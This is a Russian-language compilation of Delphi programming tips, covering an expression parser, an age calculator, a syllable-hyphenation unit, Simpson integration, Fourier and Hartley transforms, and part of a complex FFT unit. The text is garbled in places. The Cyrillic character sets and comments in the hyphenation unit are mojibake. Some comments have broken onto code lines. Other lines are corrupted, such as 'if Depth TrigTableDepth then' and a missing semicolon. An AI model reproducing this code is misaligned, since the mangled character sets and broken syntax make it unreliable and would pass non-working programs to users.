// +, -
  Num := 0;
  repeat
    Sign := 1;
    while (Length(s) > 0) and (s[1] <> '#') do begin
      if s[1] = '-' then Sign := -Sign
        else if s[1] <> '+' then Exit;

      delete(s, 1, 1);
    end;
    if FindRightValue(0, v1) = false then Exit;
    if Sign < 0
      then Num := Num - v1
      else Num := Num + v1;
  until Length(s) <= 0;

  Result := true;
end;

end.

А это пример использования этого модуля. Он рисует график функции, введенной в Edit1. Константы left и right определяют края графика, а YScale – масштаб по Y.

uses Recognition;

procedure TForm1.Button1Click(Sender: TObject);
const
  left = -10;
  right = 10;
  YScale = 50;
var
  i: integer;
  Num: extended;
  s: String;
  XScale: single;
  col: TColor;
begin
  s := Edit1.Text;
  preparation(s, ['x']);

  XScale := PaintBox1.Width / (right - left);
  randomize;
  col := RGB(random(100), random(100), random(100));
  for i := round(left * XScale) to round(right * XScale) do
    if recogn(ChangeVar(s, 'x', i / XScale), Num) then
      PaintBox1.Canvas.Pixels[round(i - left * XScale),
        round(PaintBox1.Height / 2 - Num * YScale)] := col;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как посчитать возраст человека?

function CalculateAge(Birthday, CurrentDate: TDate): Integer;
var
  Month, Day, Year, CurrentYear, CurrentMonth, CurrentDay: Word;
begin
  DecodeDate(Birthday, Year, Month, Day);
  DecodeDate(CurrentDate, CurrentYear, CurrentMonth, CurrentDay);

  if (Year = CurrentYear) and (Month = CurrentMonth) and (Day = CurrentDay) then
  begin
    Result := 0;
  end
  else
  begin
    Result := CurrentYear - Year;
    if (Month > CurrentMonth) then
      Dec(Result)
    else
    begin
      if Month = CurrentMonth then
        if (Day > CurrentDay) then
          Dec(Result);
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Label1.Caption := Format('Your age is %d', [CalculateAge(StrToDate('01.01.1903'), Date)]);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Алгоритм переноса русского текста по слогам?

interface

uses
  Windows,Classes,SysUtils;

Function SetHyph(pc:PChar;MaxSize:Integer):PChar;
Function SetHyphString(s : String):String;
Function MayBeHyph(p:PChar;pos:Integer):Boolean;

implementation

Type
  TSymbol=(st_Empty,st_NoDefined,st_Glas,st_Sogl,st_Spec);
  TSymbAR=array [0..1000] of TSymbol;
  PSymbAr=^TSymbAr;

Const
    HypSymb=#$1F;

   Spaces=[' ', ',',';', ':','.','?','!','/', #10, #13 ];

    GlasCHAR=['?', 'L', 'х', '+', 'v', '-','р', '-', 'ю', '+', ' ', '-',

              'ш', 'L', '¦', '¦', '?', '¦',
             { english }
               'e',  'E', 'u',  'U','i',  'I', 'o',  'O', 'a',  'A', 'j',  'J'
];

     SoglChar=['?', 'г' , 'ъ', '¦' ,'э', '=' , 'у', '+' , '°', '+' ,  '-' ,
               'ч', '¦' , '?', '-' ,'?', 'L' , 'т', 'T' , 'я', '¦' , 'Ё', '¦' ,
               'ы', 'T' , 'ф', '-' ,'ц', '¦' , '?', '+' , 'ё', 'T' , 'ь', '¦' ,
               '?', 'T' , 'с', '+' ,
               { english }
                'q', 'Q','w', 'W', 'r', 'R','t', 'T','y', 'Y','p', 'P','s',

'S',
                'd', 'D','f', 'F', 'g', 'G','h', 'H','k', 'K','l', 'L','z',
'Z',
                'x', 'X','c', 'C', 'v', 'V', 'b', 'B', 'n', 'N','m', 'M' ];

    SpecSign= [ '·', '-','c', '-', 'щ', 'г'];

Function isSogl(c:Char):Boolean;
begin
  Result:=c in SoglChar;
end;

Function isGlas(c:Char):Boolean;
begin
  Result:=c in GlasChar;
end;

Function isSpecSign(c:Char):Boolean;
begin
  Result:=c in SpecSign;
end;

Function GetSymbType(c:Char):TSymbol;
begin
  if isSogl(c) then begin Result:=st_Sogl;exit;end;

  if isGlas(c) then begin Result:=st_Glas;exit;end;
  if isSpecSign(c) then begin Result:=st_Spec;exit;end;
  Result:=st_NoDefined;
end;

Function isSlogMore(c:pSymbAr;start,len:Integer):Boolean;
var i:Integer;
    glFlag:Boolean;
begin
  glFlag:=false;
for i:=Start to Len-1 do
  begin
   if c^[i]=st_NoDefined then begin Result:=false;exit;end;
   if (c^[i]=st_Glas)and((c^[i+1]<>st_Nodefined)or(i<>Start))
      then
         begin
           Result:=True;
           exit;
         end;
  end;

  Result:=false;
end;

    { Ёрёё?рты ыър яхЁхэюёют }
Function SetHyph(pc:PChar;MaxSize:Integer):PChar;
var
    HypBuff  : Pointer;
    h   : PSymbAr;
    i   : Integer;
    len : Integer;
    Cur : Integer; {  }
    cw  : Integer; { =юьхЁ с?ътv т ёыютх }
    Lock: Integer; { ё?х??шъ сыюъшЁютюъ }
begin
  Cur:=0;
  len  := StrLen(pc);
  if (MaxSize=0)OR(Len=0) then
                begin
                    Result:=nil;
                    Exit;
                end;

  GetMem(HypBuff,MaxSize);
  GetMem(h,Len+1);

  for i:=0 to len-1 do h^[i]:=GetSymbType(pc[i]);

    cw:=0;
    Lock:=0;
     for i:=0 to Len-1 do
      begin
        PChar(HypBuff)[cur]:=PChar(pc)[i];Inc(Cur);

        if i>=Len-2 then Continue;
        if h^[i]=st_NoDefined then begin cw:=0;Continue;end else Inc(cw);
        if Lock<>0 then begin Dec(Lock);Continue;end;
        if cw<=1 then Continue;
        if not(isSlogMore(h,i+1,len)) then Continue;

        if
(h^[i]=st_Sogl)and(h^[i-1]=st_Glas)and(h^[i+1]=st_Sogl)and(h^[i+2]<>st_Spec)

               then begin PChar(HypBuff)[cur]:=HypSymb;Inc(Cur);Lock:=1;end;

        if
(h^[i]=st_Glas)and(h^[i-1]=st_Sogl)and(h^[i+1]=st_Sogl)and(h^[i+2]=st_Glas)
               then begin PChar(HypBuff)[cur]:=HypSymb;Inc(Cur);Lock:=1;end;

        if
(h^[i]=st_Glas)and(h^[i-1]=st_Sogl)and(h^[i+1]=st_Glas)and(h^[i+2]=st_Sogl)
               then begin PChar(HypBuff)[cur]:=HypSymb;Inc(Cur);Lock:=1;end;

        if (h^[i]=st_Spec) then begin
PChar(HypBuff)[cur]:=HypSymb;Inc(Cur);Lock:=1; end;

      end;
    {}
   FreeMem(h,Len+1);
   PChar(HypBuff)[cur]:=#0;
   Result:=HypBuff;
end;

Function Red_GlasMore(p:Pchar;pos:Integer):Boolean;
begin
  While p[pos]<>#0 do
   begin
     if p[pos] in Spaces then begin Result:=False; Exit; end;
     if isGlas(p[pos]) then begin Result:=True; Exit; end;

     Inc(pos);
   end;
  Result:=False;
end;

Function Red_SlogMore(p:Pchar;pos:Integer):Boolean;
Var BeSogl,BeGlas:Boolean;
begin
  BeSogl:=False;
  BeGlas:=False;
  While p[pos]<>#0 do
   begin
     if p[pos] in Spaces then Break;
     if Not BeGlas then BeGlas:=isGlas(p[pos]);
     if Not BeSogl then BeSogl:=isSogl(p[pos]);
     Inc(pos);
   end;
  Result:=BeGlas and BeSogl;
end;

Function MayBeHyph(p:PChar;pos:Integer):Boolean;
var i:Integer;
    len:Integer;
begin
  i:=pos;
  Len:=StrLen(p);
  Result:=
         (Len>3)
         AND
         (i>2)

         AND
         (i<Len-2)
         AND
          (not (p[i] in Spaces))
         AND
          (not (p[i+1] in Spaces))
         AND
          (not (p[i-1] in Spaces))
         AND
         (
         (isSogl(p[i])and isGlas(p[i-1])and isSogl(p[i+1])and
Red_SlogMore(p,i+1))
         OR
((isGlas(p[i]))and(isSogl(p[i-1]))and(isSogl(p[i+1]))and(isGlas(p[i+2])))
         OR
         ((isGlas(p[i]))and(isSogl(p[i-1]))and(isGlas(p[i+1])) and
Red_SlogMore(p,i+1)  )
         OR
         ((isSpecSign(p[i])))
         );

end;

Function SetHyphString(s : String):String;

Var Res:PChar;
begin
  Res:=SetHyph(PChar(S),Length(S)*2)
  Result:=Res;
  FreeMem(Res,Length(S)*2);
end;

end.

Alex Gorbunov
acdc@media-press.donetsk.ua
www.media-press.donetsk.ua
(2:465/85.4)
.
Взято из FAQ:
Delphi and Windows API Tips'n'Tricks
olmal@mail.ru
http://www.chat.ru/~olmal


Вычисление интеграла

Вычисление интеграла с заданной точностью алгоритмом Симпсона.

// (c) Copydown 2002, all left reserved. http://world.fpm.kubsu.ru.

{$APPTYPE CONSOLE}

{$F+} {разрешение передачи функций, как параметров}

type FunctionType = function(x: real): real;

{интегрируемая функция}
function f(x: real): real; begin f := x end;

{интегрирование от a до b функции f с точностью e}
function IntegralSimpson(a, b: real; f: FunctionType; e: real): real;
  var
    h, x, s, s1, s2, s3, sign: real;
 begin

  if (a = b) then
    begin
      IntegralSimpson := 0; exit
    end;

  if (a > b) then
    begin
      x := a; a := b; b := x; sign := -1
    end
   else sign:=1;

  h := b - a; s := f(a) + f(b); s2 := s;

  repeat
    s3 := s2; h := h/2; s1 := 0; x := a + h;

    repeat
      s1 := s1 + 2*f(x); x := x + 2*h;
    until (not(x < b));

    s := s + s1; s2 := (s + s1)*h/3; x := abs(s3 - s2)/15
  until (not(x > e));

  IntegralSimpson := s2*sign;
 end;

begin
  {вывод результата интегрирования от 0 до 1 функции f с точностью 0.001}
  writeln(IntegralSimpson(0, 1, f, 0.001));
  writeln; writeln('Press Enter'); readln;
end.

Взято с http://delphiworld.narod.ru


Элементы спектрального анализа (Фурье, Хартман etc.)

{$A+,B-,C+,D+,E-,F-,G+,H+,I+,J+,K-,L+,M-,N+,O-,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y+,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}

unit Main;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Buttons, ExtCtrls, ComCtrls, Menus;

type

  TfmMain = class(TForm)
    MainMenu1: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    StatusBar1: TStatusBar;
    N3: TMenuItem;
    imgInfo: TImage;
    Panel1: TPanel;
    btnStart: TSpeedButton;
    procedure btnStartClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  end;

var

  fmMain: TfmMain;

implementation

uses PFiles;

{$R *.DFM}

function Power2(lPower: Byte): LongInt;

begin
  Result := 1 shl lPower;
end;

procedure ClassicDirect(var aSignal, aSpR, aSpI: array of Double; N:
  LongInt);

var lSrch: LongInt;
var lGarm: LongInt;
var dSumR: Double;
var dSumI: Double;
begin
  for lGarm := 0 to N div 2 - 1 do
    begin
      dSumR := 0;
      dSumI := 0;
      for lSrch := 0 to N - 1 do
        begin
          dSumR := dSumR + aSignal[lSrch] * Cos(lGarm * lSrch / N * 2 * PI);
          dSumI := dSumI + aSignal[lSrch] * Sin(lGarm * lSrch / N * 2 * PI);
        end;
      aSpR[lGarm] := dSumR;
      aSpI[lGarm] := dSumI;
    end;
end;

procedure ClassicInverce(var aSpR, aSpI, aSignal: array of Double; N:
  LongInt);

var lSrch: LongInt;
var lGarm: LongInt;
var dSum: Double;
begin
  for lSrch := 0 to N - 1 do
    begin
      dSum := 0;
      for lGarm := 0 to N div 2 - 1 do
        dSum := dSum
          + aSpR[lGarm] * Cos(lSrch * lGarm * 2 * Pi / N)
          + aSpI[lGarm] * Sin(lSrch * lGarm * 2 * Pi / N);
      aSignal[lSrch] := dSum * 2;
    end;
end;

function InvertBits(BF, DataSize, Power: Word): Word;

var BR: Word;
var NN: Word;
var L: Word;
begin
  br := 0;
  nn := DataSize;
  for l := 1 to Power do
    begin
      NN := NN div 2;
      if (BF >= NN) then
        begin
          BR := BR + Power2(l - 1);
          BF := BF - NN
        end;
    end;
  InvertBits := BR;
end;

procedure FourierDirect(var RealData, VirtData, ResultR, ResultV: array of
  Double; DataSize: LongInt);

var A1: Real;
var A2: Real;
var B1: Real;
var B2: Real;
var D2: Word;
var C2: Word;
var C1: Word;
var D1: Word;
var I: Word;
var J: Word;
var K: Word;
var Cosin: Real;
var Sinus: Real;
var wIndex: Word;
var Power: Word;
begin
  C1 := DataSize shr 1;
  C2 := 1;
  for Power := 0 to 15 //hope it will be faster then
    round(ln(DataSize) / ln(2)) do
    if Power2(Power) = DataSize then Break;
  for I := 1 to Power do
    begin
      D1 := 0;
      D2 := C1;
      for J := 1 to C2 do
        begin
          wIndex := InvertBits(D1 div C1, DataSize, Power);
          Cosin := +(Cos((2 * Pi / DataSize) * wIndex));
          Sinus := -(Sin((2 * Pi / DataSize) * wIndex));
          for K := D1 to D2 - 1 do
            begin
              A1 := RealData[K];
              A2 := VirtData[K];
              B1 := ((Cosin * RealData[K + C1] - Sinus * VirtData[K + C1]));
              B2 := ((Sinus * RealData[K + C1] + Cosin * VirtData[K + C1]));
              RealData[K] := A1 + B1;
              VirtData[K] := A2 + B2;
              RealData[K + C1] := A1 - B1;
              VirtData[K + C1] := A2 - B2;
            end;
          Inc(D1, C1 * 2);
          Inc(D2, C1 * 2);
        end;
      C1 := C1 div 2;
      C2 := C2 * 2;
    end;
  for I := 0 to DataSize div 2 - 1 do
    begin
      ResultR[I] := +RealData[InvertBits(I, DataSize, Power)];
      ResultV[I] := -VirtData[InvertBits(I, DataSize, Power)];
    end;
end;

procedure Hartley(iSize: LongInt; var aData: array of Double);

type taDouble = array[0..MaxLongInt div SizeOf(Double) - 1] of Double;
var prFI, prFN, prGI: ^taDouble;
var rCos, rSin: Double;
var rA, rB, rTemp: Double;
var rC1, rC2, rC3, rC4: Double;
var rS1, rS2, rS3, rS4: Double;
var rF0, rF1, rF2, rF3: Double;
var rG0, rG1, rG2, rG3: Double;
var iK1, iK2, iK3, iK4: LongInt;
var iSrch, iK, iKX: LongInt;
begin
  iK2 := 0;
  for iK1 := 1 to iSize - 1 do
    begin
      iK := iSize shr 1;
      repeat
        iK2 := iK2 xor iK;
        if (iK2 and iK) <> 0 then Break;
        iK := iK shr 1;
      until False;
      if iK1 > iK2 then
        begin
          rTemp := aData[iK1];
          aData[iK1] := aData[iK2];
          aData[iK2] := rTemp;
        end;
    end;
  iK := 0;
  while (1 shl iK) < iSize do
    Inc(iK);
  iK := iK and 1;
  if iK = 0 then
    begin
      prFI := @aData;
      prFN := @aData;
      prFN := @prFN[iSize];
      while Word(prFI) < Word(prFN) do
        begin
          rF1 := prFI^[0] - prFI^[1];
          rF0 := prFI^[0] + prFI^[1];
          rF3 := prFI^[2] - prFI^[3];
          rF2 := prFI^[2] + prFI^[3];
          prFI^[2] := rF0 - rF2;
          prFI^[0] := rF0 + rF2;
          prFI^[3] := rF1 - rF3;
          prFI^[1] := rF1 + rF3;
          prFI := @prFI[4];
        end;
    end
  else
    begin
      prFI := @aData;
      prFN := @aData;
      prFN := @prFN[iSize];
      prGI := prFI;
      prGI := @prGI[1];
      while Word(prFI) < Word(prFN) do
        begin
          rC1 := prFI^[0] - prGI^[0];
          rS1 := prFI^[0] + prGI^[0];
          rC2 := prFI^[2] - prGI^[2];
          rS2 := prFI^[2] + prGI^[2];
          rC3 := prFI^[4] - prGI^[4];
          rS3 := prFI^[4] + prGI^[4];
          rC4 := prFI^[6] - prGI^[6];
          rS4 := prFI^[6] + prGI^[6];
          rF1 := rS1 - rS2;
          rF0 := rS1 + rS2;
          rG1 := rC1 - rC2;
          rG0 := rC1 + rC2;
          rF3 := rS3 - rS4;
          rF2 := rS3 + rS4;
          rG3 := Sqrt(2) * rC4;
          rG2 := Sqrt(2) * rC3;
          prFI^[4] := rF0 - rF2;
          prFI^[0] := rF0 + rF2;
          prFI^[6] := rF1 - rF3;
          prFI^[2] := rF1 + rF3;
          prGI^[4] := rG0 - rG2;
          prGI^[0] := rG0 + rG2;
          prGI^[6] := rG1 - rG3;
          prGI^[2] := rG1 + rG3;
          prFI := @prFI[8];
          prGI := @prGI[8];
        end;
    end;
  if iSize < 16 then Exit;
  repeat
    Inc(iK, 2);
    iK1 := 1 shl iK;
    iK2 := iK1 shl 1;
    iK4 := iK2 shl 1;
    iK3 := iK2 + iK1;
    iKX := iK1 shr 1;
    prFI := @aData;
    prGI := prFI;
    prGI := @prGI[iKX];
    prFN := @aData;
    prFN := @prFN[iSize];
    repeat
      rF1 := prFI^[000] - prFI^[iK1];
      rF0 := prFI^[000] + prFI^[iK1];
      rF3 := prFI^[iK2] - prFI^[iK3];
      rF2 := prFI^[iK2] + prFI^[iK3];
      prFI^[iK2] := rF0 - rF2;
      prFI^[000] := rF0 + rF2;
      prFI^[iK3] := rF1 - rF3;
      prFI^[iK1] := rF1 + rF3;
      rG1 := prGI^[0] - prGI^[iK1];
      rG0 := prGI^[0] + prGI^[iK1];
      rG3 := Sqrt(2) * prGI^[iK3];
      rG2 := Sqrt(2) * prGI^[iK2];
      prGI^[iK2] := rG0 - rG2;
      prGI^[000] := rG0 + rG2;
      prGI^[iK3] := rG1 - rG3;
      prGI^[iK1] := rG1 + rG3;
      prGI := @prGI[iK4];
      prFI := @prFI[iK4];
    until not (Word(prFI) < Word(prFN));
    rCos := Cos(Pi / 2 / Power2(iK));
    rSin := Sin(Pi / 2 / Power2(iK));
    rC1 := 1;
    rS1 := 0;
    for iSrch := 1 to iKX - 1 do
      begin
        rTemp := rC1;
        rC1 := (rTemp * rCos - rS1 * rSin);
        rS1 := (rTemp * rSin + rS1 * rCos);
        rC2 := (rC1 * rC1 - rS1 * rS1);
        rS2 := (2 * (rC1 * rS1));
        prFN := @aData;
        prFN := @prFN[iSize];
        prFI := @aData;
        prFI := @prFI[iSrch];
        prGI := @aData;
        prGI := @prGI[iK1 - iSrch];
        repeat
          rB := (rS2 * prFI^[iK1] - rC2 * prGI^[iK1]);
          rA := (rC2 * prFI^[iK1] + rS2 * prGI^[iK1]);
          rF1 := prFI^[0] - rA;
          rF0 := prFI^[0] + rA;
          rG1 := prGI^[0] - rB;
          rG0 := prGI^[0] + rB;
          rB := (rS2 * prFI^[iK3] - rC2 * prGI^[iK3]);
          rA := (rC2 * prFI^[iK3] + rS2 * prGI^[iK3]);
          rF3 := prFI^[iK2] - rA;
          rF2 := prFI^[iK2] + rA;
          rG3 := prGI^[iK2] - rB;
          rG2 := prGI^[iK2] + rB;
          rB := (rS1 * rF2 - rC1 * rG3);
          rA := (rC1 * rF2 + rS1 * rG3);
          prFI^[iK2] := rF0 - rA;
          prFI^[0] := rF0 + rA;
          prGI^[iK3] := rG1 - rB;
          prGI^[iK1] := rG1 + rB;
          rB := (rC1 * rG2 - rS1 * rF3);
          rA := (rS1 * rG2 + rC1 * rF3);
          prGI^[iK2] := rG0 - rA;
          prGI^[0] := rG0 + rA;
          prFI^[iK3] := rF1 - rB;
          prFI^[iK1] := rF1 + rB;
          prGI := @prGI[iK4];
          prFI := @prFI[iK4];
        until not (LongInt(prFI) < LongInt(prFN));
      end;
  until not (iK4 < iSize);
end;

procedure HartleyDirect(
  var aData: array of Double;

  iSize: LongInt);
var rA, rB: Double;
var iI, iJ, iK: LongInt;
begin
  Hartley(iSize, aData);
  iJ := iSize - 1;
  iK := iSize div 2;
  for iI := 1 to iK - 1 do
    begin
      rA := aData[ii];
      rB := aData[ij];
      aData[iJ] := (rA - rB) / 2;
      aData[iI] := (rA + rB) / 2;
      Dec(iJ);
    end;
end;

procedure HartleyInverce(
  var aData: array of Double;

  iSize: LongInt);

var rA, rB: Double;
var iI, iJ, iK: LongInt;
begin
  iJ := iSize - 1;
  iK := iSize div 2;
  for iI := 1 to iK - 1 do
    begin
      rA := aData[iI];
      rB := aData[iJ];
      aData[iJ] := rA - rB;
      aData[iI] := rA + rB;
      Dec(iJ);
    end;
  Hartley(iSize, aData);
end;

//not tested

procedure HartleyDirectComplex(real, imag: array of Double; n: LongInt);
var a, b, c, d: double;

  q, r, s, t: double;
  i, j, k: LongInt;
begin

  j := n - 1;
  k := n div 2;
  for i := 1 to k - 1 do
    begin
      a := real[i]; b := real[j]; q := a + b; r := a - b;
      c := imag[i]; d := imag[j]; s := c + d; t := c - d;
      real[i] := (q + t) * 0.5; real[j] := (q - t) * 0.5;
      imag[i] := (s - r) * 0.5; imag[j] := (s + r) * 0.5;
      dec(j);
    end;
  Hartley(N, Real);
  Hartley(N, Imag);
end;

//not tested

procedure HartleyInverceComplex(real, imag: array of Double; N: LongInt);
var a, b, c, d: double;

  q, r, s, t: double;
  i, j, k: longInt;
begin
  Hartley(N, real);
  Hartley(N, imag);
  j := n - 1;
  k := n div 2;
  for i := 1 to k - 1 do
    begin
      a := real[i]; b := real[j]; q := a + b; r := a - b;
      c := imag[i]; d := imag[j]; s := c + d; t := c - d;
      imag[i] := (s + r) * 0.5; imag[j] := (s - r) * 0.5;
      real[i] := (q - t) * 0.5; real[j] := (q + t) * 0.5;
      dec(j);
    end;
end;

procedure DrawSignal(var aSignal: array of Double; N, lColor: LongInt);

var lSrch: LongInt;
var lHalfHeight: LongInt;
begin
  with fmMain do
    begin
      lHalfHeight := imgInfo.Height div 2;
      imgInfo.Canvas.MoveTo(0, lHalfHeight);
      imgInfo.Canvas.Pen.Color := lColor;
      for lSrch := 0 to N - 1 do
        begin
          imgInfo.Canvas.LineTo(lSrch, Round(aSignal[lSrch]) + lHalfHeight);
        end;
      imgInfo.Repaint;
    end;
end;

procedure DrawSpector(var aSpR, aSpI: array of Double; N, lColR, lColI:
  LongInt);

var lSrch: LongInt;
var lHalfHeight: LongInt;
begin
  with fmMain do
    begin
      lHalfHeight := imgInfo.Height div 2;
      for lSrch := 0 to N div 2 do
        begin
          imgInfo.Canvas.Pixels[lSrch, Round(aSpR[lSrch] / N) + lHalfHeight] :=
            lColR;

          imgInfo.Canvas.Pixels[lSrch + N div 2, Round(aSpI[lSrch] / N) +
            lHalfHeight] := lColI;

        end;
      imgInfo.Repaint;
    end;
end;

const N = 512;
var aSignalR: array[0..N - 1] of Double; //
var aSignalI: array[0..N - 1] of Double; //
var aSpR, aSpI: array[0..N div 2 - 1] of Double; //
var lFH: LongInt;

procedure TfmMain.btnStartClick(Sender: TObject);

const Epsilon = 0.00001;
var lSrch: LongInt;
var aBuff: array[0..N - 1] of ShortInt;
begin
  if lFH > 0 then
    begin
//   Repeat

      if F.Read(lFH, @aBuff, N) <> N then
        begin
          Exit;
        end;
      for lSrch := 0 to N - 1 do
        begin
          aSignalR[lSrch] := ShortInt(aBuff[lSrch] + $80);
          aSignalI[lSrch] := 0;
        end;

      imgInfo.Canvas.Rectangle(0, 0, imgInfo.Width, imgInfo.Height);
      DrawSignal(aSignalR, N, $D0D0D0);

//    ClassicDirect(aSignalR, aSpR, aSpI, N);                 //result in aSpR & aSpI,
      aSignal unchanged
//    FourierDirect(aSignalR, aSignalI, aSpR, aSpI, N);       //result in aSpR &
      aSpI, aSiggnalR & aSignalI modified

      HartleyDirect(aSignalR, N); //result in source aSignal ;-)

      DrawSpector(aSignalR, aSignalR[N div 2 - 1], N, $80, $8000);
      DrawSpector(aSpR, aSpI, N, $80, $8000);

{    for lSrch := 0 to N div 2 -1 do begin                    //comparing classic & Hartley

if (Abs(aSpR[lSrch] - aSignal[lSrch]) > Epsilon)
or ((lSrch > 0) And (Abs(aSpI[lSrch] - aSignal[N - lSrch]) > Epsilon))
then MessageDlg('Error comparing',mtError,[mbOK],-1);
end;}

      HartleyInverce(aSignalR, N); //to restore original signal with
      HartleyDirect
//    ClassicInverce(aSpR, aSpI, aSignalR, N);                //to restore original
      signal with ClassicDirect or FourierDirect

      for lSrch := 0 to N - 1 do
        aSignalR[lSrch] := aSignalR[lSrch] / N; //scaling

      DrawSignal(aSignalR, N, $D00000);
      Application.ProcessMessages;
//   Until False;

    end;
end;

procedure TfmMain.FormCreate(Sender: TObject);

begin
  lFH := F.Open('input.pcm', ForRead);
end;

procedure TfmMain.FormClose(Sender: TObject; var Action: TCloseAction);

begin
  F.Close(lFH);
end;

end.

Denis Furman [000705
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba

Привожу FFT-алгоритм, позволяющий оперировать 256 точками данных примерно за 0.008 секунд на P66 (с 72MB, YMMV). Создан на Delphi.

Данный алгоритм я воспроизвел где-то около года назад. Вероятно он не самый оптимальный, но для повышения скорости расчета наверняка потребуются более мощное аппаратное обеспечение.

Но я не думаю что алгоритм слишком плох, в нем заложено немало математических трюков. Имеется некоторое количество рекурсий, но они занимается не копированием данных, а манипуляциями с указателями, если у нас есть массив размером N = 2^d, то глубина рекурсии составит всего d. Возможно имело бы смысл применить развертывающуюся рекурсию, но не пока не ясно, поможет ли ее применение в данном алгоритме. (Но вероятно мы смогли бы достаточно легко получить надежную математическую модель, развертывая в рекурсии один или два нижних слоя, то есть проще говоря:

if Depth < 2 then
{производим какие-либо действия}

вместо текущего 'if Depth = 0 then...' Это должно устранить непродуктивные вызовы функций, что несомненно хорошо в то время, пока развертывающая рекурсия работает с ресурсами.)

Имеется поиск с применением таблиц синусов и косинусов; здесь использован метод золотой середины: данный алгоритм весьма трудоемок, но дает отличные результаты при использовании малых и средних массивов.

Вероятно в машине с большим объемом оперативной памяти следует использовать VirtualAlloc(... PAGE_NOCACHE) для Src, Dest и таблиц поиска.

Если кто-либо обнаружит неверную на ваш взгляд или просто непонятную в данном совете функцию пожалуйста сообщите мне об этом.

Что делает данная технология вкратце. Имеется несколько FFT, образующих 'комплексный FT', который понимает и о котором заботится моя технология. Это означает, что если N = 2^d, Src^ и Dest^ образуют массив из N TComplexes, происходит вызов

FFT(d, Src, Dest)

, далее заполняем Dest с применением 'комплексного FT' после того, как результат вызова Dest^[j] будет равен

1/sqrt(N) * Sum(k=0.. N - 1 ; EiT(2*Pi(j*k/N)) * Src^[k])

, где EiT(t) = cos(t) + i sin(t) . То есть, стандартное преобразование Фурье.

Публикую две версии: в первой версии я использую TComplex с функциями для работы с комплексными числами. Во второй версии все числа реальные - вместо массивов Src и Dest мы используем массивы реальных чисел SrcR, SrcI, DestR, DestI (в блоке вычислений реальных чисел), и вызовы всех функций осуществляются линейно. Первая версия достаточна легка в реализации, зато вторая - значительно быстрее. (Обе версии оперируют 'комплексными FFT'.) Технология работы была опробована на алгоритме Plancherel (также известным как Parseval). Обе версии работоспособны, btw: если это не работает у вас - значит я что-то выбросил вместе со своими глупыми коментариями :-) Итак, сложная версия:

unit cplx;

interface

type

  PReal = ^TReal;
  TReal = extended;

  PComplex = ^TComplex;
  TComplex = record
    r: TReal;
    i: TReal;
  end;

function MakeComplex(x, y: TReal): TComplex;
function Sum(x, y: TComplex): TComplex;
function Difference(x, y: TComplex): TComplex;
function Product(x, y: TComplex): TComplex;
function TimesReal(x: TComplex; y: TReal): TComplex;
function PlusReal(x: TComplex; y: TReal): TComplex;
function EiT(t: TReal): TComplex;
function ComplexToStr(x: TComplex): string;
function AbsSquared(x: TComplex): TReal;

implementation

uses SysUtils;

function MakeComplex(x, y: TReal): TComplex;
begin

  with result do
  begin
    r := x;
    i := y;
  end;
end;

function Sum(x, y: TComplex): TComplex;
begin
  with result do
  begin

    r := x.r + y.r;
    i := x.i + y.i;
  end;
end;

function Difference(x, y: TComplex): TComplex;
begin
  with result do
  begin

    r := x.r - y.r;
    i := x.i - y.i;
  end;
end;

function EiT(t: TReal): TComplex;
begin
  with result do
  begin

    r := cos(t);
    i := sin(t);
  end;
end;

function Product(x, y: TComplex): TComplex;
begin
  with result do
  begin

    r := x.r * y.r - x.i * y.i;
    i := x.r * y.i + x.i * y.r;
  end;
end;

function TimesReal(x: TComplex; y: TReal): TComplex;
begin
  with result do
  begin

    r := x.r * y;
    i := x.i * y;
  end;
end;

function PlusReal(x: TComplex; y: TReal): TComplex;
begin
  with result do
  begin

    r := x.r + y;
    i := x.i;
  end;
end;

function ComplexToStr(x: TComplex): string;
begin
  result := FloatToStr(x.r)
    + ' + '
    + FloatToStr(x.i)
    + 'i';
end;

function AbsSquared(x: TComplex): TReal;
begin
  result := x.r * x.r + x.i * x.i;
end;

end.

unit cplxfft1;

interface

uses Cplx;

type
  PScalar = ^TScalar;
  TScalar = TComplex; {Легко получаем преобразование в реальную величину}

  PScalars = ^TScalars;
  TScalars = array[0..High(integer) div SizeOf(TScalar) - 1]
    of TScalar;

const
  TrigTableDepth: word = 0;
  TrigTable: PScalars = nil;

procedure InitTrigTable(Depth: word);

procedure FFT(Depth: word;
  Src: PScalars;
  Dest: PScalars);

{Перед вызовом Src и Dest ТРЕБУЕТСЯ распределение
(integer(1) shl Depth) * SizeOf(TScalar)
байт памяти!}

implementation

procedure DoFFT(Depth: word;
  Src: PScalars;
  SrcSpacing: word;
  Dest: PScalars);
{рекурсивная часть, вызываемая при готовности FFT}
var
  j, N: integer;
  Temp: TScalar;
  Shift: word;
begin
  if Depth = 0 then
  begin
    Dest^[0] := Src^[0];
    exit;
  end;

  N := integer(1) shl (Depth - 1);

  DoFFT(Depth - 1, Src, SrcSpacing * 2, Dest);
  DoFFT(Depth - 1, @Src^[SrcSpacing], SrcSpacing * 2, @Dest^[N]);

  Shift := TrigTableDepth - Depth;

  for j := 0 to N - 1 do
  begin
    Temp := Product(TrigTable^[j shl Shift],
      Dest^[j + N]);
    Dest^[j + N] := Difference(Dest^[j], Temp);
    Dest^[j] := Sum(Dest^[j], Temp);
  end;
end;

procedure FFT(Depth: word;
  Src: PScalars;
  Dest: PScalars);
var
  j, N: integer;
  Normalizer: extended;
begin
  N := integer(1) shl depth;
  if Depth TrigTableDepth then
    InitTrigTable(Depth);
  DoFFT(Depth, Src, 1, Dest);
  Normalizer := 1 / sqrt(N);
  for j := 0 to N - 1 do
    Dest^[j] := TimesReal(Dest^[j], Normalizer);
end;

procedure InitTrigTable(Depth: word);
var
  j, N: integer;
begin
  N := integer(1) shl depth;
  ReAllocMem(TrigTable, N * SizeOf(TScalar));
  for j := 0 to N - 1 do

    TrigTable^[j] := EiT(-(2 * Pi) * j / N);
  TrigTableDepth := Depth;
end;

initialization
  ;

